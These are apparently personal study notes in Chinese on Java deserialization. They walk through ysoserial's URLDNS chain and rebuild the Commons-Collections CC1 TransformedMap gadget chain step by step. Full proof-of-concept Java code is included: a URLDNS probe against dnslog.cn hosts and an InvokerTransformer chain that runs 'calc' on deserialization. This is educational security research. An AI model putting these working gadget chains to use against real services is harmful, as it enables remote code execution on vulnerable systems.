Commons-Collections反序列化汇总

可以看一下这两篇分析java序列化和反序列化的执行流程。

https://www.cnpanda.net/sec/893.html

https://www.cnpanda.net/sec/928.html

搭建从新复习以前学过的java反序列化,尽量能够都跟一遍以前不够细致太过于浮躁,因此重新开启一个新的学习。

1.环境搭建

在进行反序列化调试时我们先ysoserial项目进行环境搭建,下面就搭建遇到的问题做一个记录。

首先直接下载压缩包然后将项目拖进idea,之后将pom.xm文件中的依赖jar全部下载。

第一个问题

就是依赖包有的加载不出来可能是因为我们配置的阿里云的镜像没有依赖的原因所以我们就手动将jar导入到本地maven仓库。这里参考https://blog.csdn.net/Ming_super/article/details/128728472进行导入

首先找到maven的官网然后找到自己所需要的依赖

将红箭头所指的jar包下载下来。然后打开windows cmd 将jar包导入到本地仓库。

输入以下命令例如:

1
2
3
4
5
6
mvn install:install-file
-Dfile=D:\mybatis-3.5.10.jar
-DgroupId=org.mybatis
-DartifactId=mybatis
-Dversion=3.5.10
-Dpackaging=jar

之后就可以在pom.xml文件中正常加载了。

第二个问题

就是我们在运行ysoserial主程序一直报错找不到java程序包,但是通过排查发现明明已经导入进来了。

这里解决办法:

打开idea项目中的Project Structure 将箭头所指的地方改成相对应的然后在setting中将本地的java环境与项目环境也设置城同样的

之后就可以运行程序了。

在运行程序输入参数可以直接在项目中进行编辑

这里以生成urldns链为例其它的可以自行百度。

java反序列化的过程

参考:https://chenlvtang.top/2022/09/18/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90%E5%8F%8AresolveClass/

调用图:

2.URLDNS链

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不

是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤:

使⽤Java内置的类构造,对第三⽅库没有依赖

在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

ysoserial如何生成urldns链的过程可以参考:

https://www.cnblogs.com/gk0d/p/16874157.html

调用过程:

首先判段是否传入了两个参数,如果不是则打印帮助信息;是的话会依次分别赋值给payloadType和command变量。

之后实例化了一个需要继承ObjectPayload类的类实例化对象,跟进一下getPayloadClass方法,在ysoserial.payloads.ObjectPayload.Utils下

在箭头所指的地方通过反射获取了 URLDNS的class对象,然后实例化获取URLDNS对象并调用 getobject方法

通过跟进getobject方法发现其返回了一个hashmap对象

然后序列化输出该对象

以上就是ysoserial生成urldns的过程,下面着重分析以下为什么反序列化可以触发一次dns请求。上文已经说到了最后序列化的是hashmap对象所以我们可以直接看hashmap的readobject方法

1
2
3
4
5
6
7
public class unserial {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("D:\\shentougongju\\ysoserial\\test.bin"));
Object o1 = o.readObject();
System.out.println(o1);
}
}

我们在hashmap的readobject中下一个断点进行调试

我们可以发现最终调用了一个putval方法,它里面对key进行了hash方法,而我们知道这个key是我们序列化进去的URL对象继续跟进去

发现对key做了一个判断,如果不为空的话就调用key对象的hashcode方法,而这里我们知道key是url对象,所以调用的是URL对象的hashcode方法继续跟进去

这里判断hashcode是否等于-1如果不等于-1就返回hashcode如果等于-1就继续调用handler的hashcode方法,这里通过上文的getobject方法可以知道传入的handler是URLStreamHandler对象继续跟进去:

可以看到第10行调用了getHostAddress方法跟进去看看:

继续跟进

发现调用getByname方法 这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

这里是ysoserial的payload总结一下调用链

  1. HashMap->readObject()
  2. PutVal->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

下面我们来看一下网上常见的payload与ysoserial的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}

}

我们可以发现在进行put之前URL对象之前我们反射修改了其hashcode的值,这是为什么呢,是因为在序列化的时候writeobject 会写入key

1
2
3
4
5
6
7
8
9
10
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

1
2
3
4
5
6
7
8
9
10
11
12
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

可以发现这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。此时我们如果想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询

1
2
3
4
5
6
7
8
9
10
11
12
import java.util.HashMap;
import java.net.URL;

public class URLDNStest {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://razgbd.dnslog.cn");
map.put(url,123); //此时会产生dns查询
}

}

所以要想不在put的时候发起dns请求需要反射修改其hashcode的值让其不为-1即可因为不为-1会直接返回hashcode的值不会进行后续的调用

那ysoserial在put时是怎么不触发dns请求的呢调试一下:

在调用到箭头所指向的方法时其返回一个null值,从而不触发dns请求

那为什么反序列化时又能够发起请求了呢是因为URL类中handler被设置为 transient(当一个字段被声明为 transient 时,表示该字段不会参与对象的序列化过程,即在将对象转换为字节流以便进行存储或传输时,这些字段的值不会被包含在序列化的结果中。)

所以反序列化可以触发dns请求

参考:Java安全漫谈 - 09.反序列化篇(3).pdf

3.java cc1链-TranformedMap

复习一遍之前学过的,由于太过久远导致基本全部忘记了,还有就是当时的笔记记得太过于潦草导致根本没法复习。

这次重新跟一遍cc1链。

3.1环境搭建

具体搭建可以参考bilibili的白日梦组长。

就是将下载jdk 8u71以下的版本,然后在下载对应的openjdk将里面的sun包复制过来,然后注意Commons-Collections的版本为3.2.1。

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

3.2函数介绍

3.2.1Transformer

Transformer是一个接口,只有一个带实现的方法;
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调
函数”,这个回调的参数是原始对象。

1
2
3
public interface Transformer {
public Object transform(Object input);
}

3.2.2InvokerTransformer

InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键;

在实例化这个InvokerTransformer时,需要传⼊三个参数:

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

后面transform方法,通过反射调用执行了input对象的iMethodName方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}

3.2.3ChainedTransformer

ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,将前一个回调返回的结果作为后一个的参数传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

3.2.4ConstantTransformer

ConstantTransformer是实现了Transformer、Serializable接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回;

作用就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

3.2.5Transfomed

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
......
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}

3.3调用链过程

先来看一下Transfomed的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
public static void main(String[] args) throws Exception {

// //正常获取runtime实例
// Runtime runtime = Runtime.getRuntime();

// //反射获取 runtime实例,并执行代码
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");

// //InvokerTransformer方法获取runtime实例,并执行代码
// Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);


HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

其实通过上面的函数介绍可以知道invokerTransformer中的transform方法就是一个可以调用任意类中的方法的一个函数,所以它在这里算是我们反序列化最终执行的点来进行恶意操作。那么下面我们就需要找到一个谁调用了这个transform方法,我们可以在序列化的时候将调用这个方法的对象给改成invokerTransformer对象

所以第一步我们找到了一个调用该方法的函数是TransformedMap中的CheckSetValue方法

通过对该类的构造方法的分析可以看到我们可以传入三个参数具体如下代码所示

1
2
3
4
5
6
7
8
9
10
11
12
13
 //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

//接受一个对象类型的参数
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

所以我们可以在传入valueTransformer这个参数时让其为invokerTransformer对象,但是由于该类是protected的类型所以不能直接实例化,但是我们发现该类中有一个静态方法 decorate()

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

所以可以直接调用该方法,将invokerTransformer对象注入进去。此时CheckSetValue中的valueTransformer就可以被我们改为invokerTransformer对象。那么接下来就需要找到一个可以触发CheckSetValue的方法。通过调试可以找到一个MapEntry类中的setValue方法调用了该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法 MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调checkSetValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();

map.put("key","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()) { //遍历Map常用格式
//调用setValue方法,通过setValue去触发checkSetValue()
entry.setValue(runtime);
}

梳理一遍过程:

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,

在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,

然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

下面就是找到一个readObject中调用了setValue这个方法:找到了AnnotationInvocationHandler这个类中的readObject调用了该方法如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

可以找到该类的构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

可以看到memberValue是可控的是可以由构造方法直接传入的。所以接下来我们可以着手构造一下该链,但是在写的时候由于该类是java的内部类所以需要反射来调用如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();

map.put("value","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, invokerTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
//serialize(o);
unserialize("ser.bin");
}

反序列化时运行报错这是为什么:

问题1:

https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7

通过查看Runtime类发现没有实现serializable是不可序列化的所以需要通过反射来进行构造

1
2
3
4
5
Class rc=Class.forName("java.lang.Runtime");                 //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法为无参方法,所以全为null
Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc");

我们需要将其改造成InvokerTransformer的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
Method getRuntime = (Method) new InvokerTransformer(
"getDeclaredMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}).transform(Runtime.class);

//这里模拟获取invoke方法
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}).transform(getRuntime);


//这里模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(runtime);

在这里解释下为什么需要获取getMethod方法而不是直接获取getRuntime,因为我们传入的是Runtime.class对象在InvokerTransformer类中的transform方法会在获取其class,所以就变成java.lang.class对象了,这个类是不存在getRuntime方法的所以需要先反射获取getMethod方法,在通过invoke传入的Runtime.class对象,获得其getruntime方法因为此时获取的method对象所以还需要在反射调用invoke来将getruntime的实例获取出。此处具体参考https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7

对于runtime反射获取改成InvokerTransformer形式的解释:

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?
我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。
同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.

我们先看getRuntiime方法的参数

1
2
3
public static Runtime getRuntime() {
return currentRuntime;
}

没有参数,那就非常简单了

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//得到Runtime class
//由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
//上面传入Runtime.class,调用Runtime class的getRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
//上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

在这里,之前自己陷入了一个很傻逼的问题,即:InvokerTransformer类transform方法中return method.invoke()这个语句
invoke()调用到底return了啥?
因为在这里形成了一个调用return的结果,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢?
一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invoke的结果都不一样,源码看的头晕。
实际上是钻了死胡同:invoke的return是根据被调用的函数return啥,invoke就return啥。
就好比我invoke一个我自定义的方法a,在a中,我return了字符串”1”。那么就是invoke的结果就是字符串”1”。
看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer

以上感觉是万事大吉了!但是实际上并不是…

回想之前对于InvokerTransformer中Class cls = input.getClass();的解释

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

我们来推演第一次InvokerTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:

1
2
3
4
5
6
7
//InvokeTransformer关键语句:
public Object transform(Object input) {//input为我们设置的常量Runtime.class
Class cls = input.getClass();//!!!这里由于input是一个类,会得到java.lang.Class
//在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象,此处报错!!
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

那么我们好像陷入了一个死胡同:
得到Runtime类实例才能调用exec方法。
而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例………

第二点九步 还是反射机制

那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢?

还是反射机制

已知:

  1. 我们开头不能获得Class.forName(“java.lang.Runtime”),只能得到Class.forName(“java.lang.Class”)
  2. 我们可以有任意的反射机制
    求:
  3. 我们要获取到Runtime.getRunime函数,并执行它。
    解:
  4. 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
  5. 通过getMethod函数获取Runtime类中的getRuntime函数
    • 在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
  6. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
  7. invoke调用getRuntime函数,获取Runtime类的实例
    • 这里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类

具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。

我们的最终目的是执行
Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)

先来获取getRuntime类

1
2
3
4
5
6
//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
//invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transformers格式

1
2
3
Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法
1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//还需要填充 调用getRuntime得到Runtime实例,
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

1
2
3
4
//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。
首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

1
2
3
4
public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。
invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)
而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。
this.iArgs=null,new Object[0]

那么整合就如下:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

以上代码其实就是等同于
((Runtime)Runtime.class.getMethod(“getMethod”,null).invoke(null,null)).exec(“calc.exe”);

将修改后的代码重新运行看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args) throws Exception {


Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();

map.put("key","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
//serialize(o);
unserialize("ser.bin");

发现还是不能运行我们动态调试看看

发现在这里为空所以不能进入if条件,也就无法调用setValue方法

在这里我们发现他回去获取我们传入的注解类型并且获取注解里面方法的名字,然后通过判断我们传入的名字是否与注解里的名字是否一致,一致则不为空否则为空就不进入if条件。所以这里我们子啊put时将键的值改成注解类型里面的方法名即可:

可以看到Target的方法名时value所以改成value就可以了

这样就可以执行了

cc1TransformedMap调用链

参考:https://xz.aliyun.com/

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.337.search-card.all.click&vd_source=82398f68c82cb90e0d9aa4fea90e36a0

